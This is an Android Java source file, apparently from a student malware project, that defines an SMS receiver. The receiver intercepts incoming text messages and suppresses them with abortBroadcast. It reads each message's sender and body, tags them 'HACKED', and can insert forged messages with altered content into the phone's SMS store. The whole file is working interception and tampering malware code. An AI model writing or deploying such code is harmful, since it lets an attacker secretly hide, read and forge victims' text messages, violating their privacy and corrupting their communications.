package malware.esgi.moncef.mymalware;

import android.content.BroadcastReceiver;
import android.content.ContentResolver;
import android.content.ContentValues;
import android.content.Context;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.telephony.SmsMessage;
import android.util.Log;
import android.widget.Toast;



public class SmsReceiver extends BroadcastReceiver {
    public static final String SMS_URI = "content://sms";
    public static final String ADDRESS = "address";
    public static final String DATE = "date";
    public static final String READ = "read";
    public static final String STATUS = "status";
    public static final String TYPE = "type";
    public static final String BODY = "body";
    public static final String SEEN = "seen";

    public static final int MESSAGE_TYPE_INBOX = 1;
    public static final int MESSAGE_IS_NOT_READ = 0;
    public static final int MESSAGE_IS_NOT_SEEN = 0;
    static SmsMessage sms;
    static String messages = "";
    static ContentResolver contextres;
    private static final String SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED";

    @Override
    public void onReceive(Context context, Intent intent) {
        if (intent.getAction().equals(SMS_RECEIVED)) {
            abortBroadcast();
            contextres = context.getContentResolver();
            Bundle bundle = intent.getExtras();
            if (bundle != null) {
                // on recupere lsms
                Object[] pdus = (Object[]) bundle.get("pdus");
                if (pdus.length == 0) {
                    return;
                }

                for ( int i = 0; i < pdus.length; ++i ) {
                     sms = SmsMessage.createFromPdu((byte[])pdus[i]);

                    String body = sms.getMessageBody().toString();
                    String address = sms.getOriginatingAddress();

                    messages += "HACKED" + address + " :\n";
                    messages += body + "\n";

                }

                try {
                    MainActivity  .getInstace().updateTheTextView(messages);
                } catch (Exception e) {

                }


            }
        }
    }

    public static void broadcastMsg(String intentName) {
        if(intentName.equals("save")){
            putSmsToDatabase(contextres,sms,messages);

        }
        else if(intentName.equals("delete")){
            deleteMsg();
        }
    }

    private static void putSmsToDatabase(ContentResolver contentResolver, SmsMessage sms, String newcontent) {

        // Create SMS row
        ContentValues values = new ContentValues();
        values.put( ADDRESS, sms.getOriginatingAddress() );
        values.put( DATE, sms.getTimestampMillis() );
        values.put( READ, MESSAGE_IS_NOT_READ );
        values.put( STATUS, sms.getStatus() );
        values.put( TYPE, MESSAGE_TYPE_INBOX );
        values.put( SEEN, MESSAGE_IS_NOT_SEEN );

        try {
            values.put( BODY, newcontent ); // On change la nouvelle valeur de l'sms
        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
        //On Sauvegarde l sms
        contentResolver.insert( Uri.parse( SMS_URI ), values );
    }

    private static void deleteMsg() {

       messages = "";
       sms = null;
      MainActivity.getInstace().updateTheTextView("");
    }
}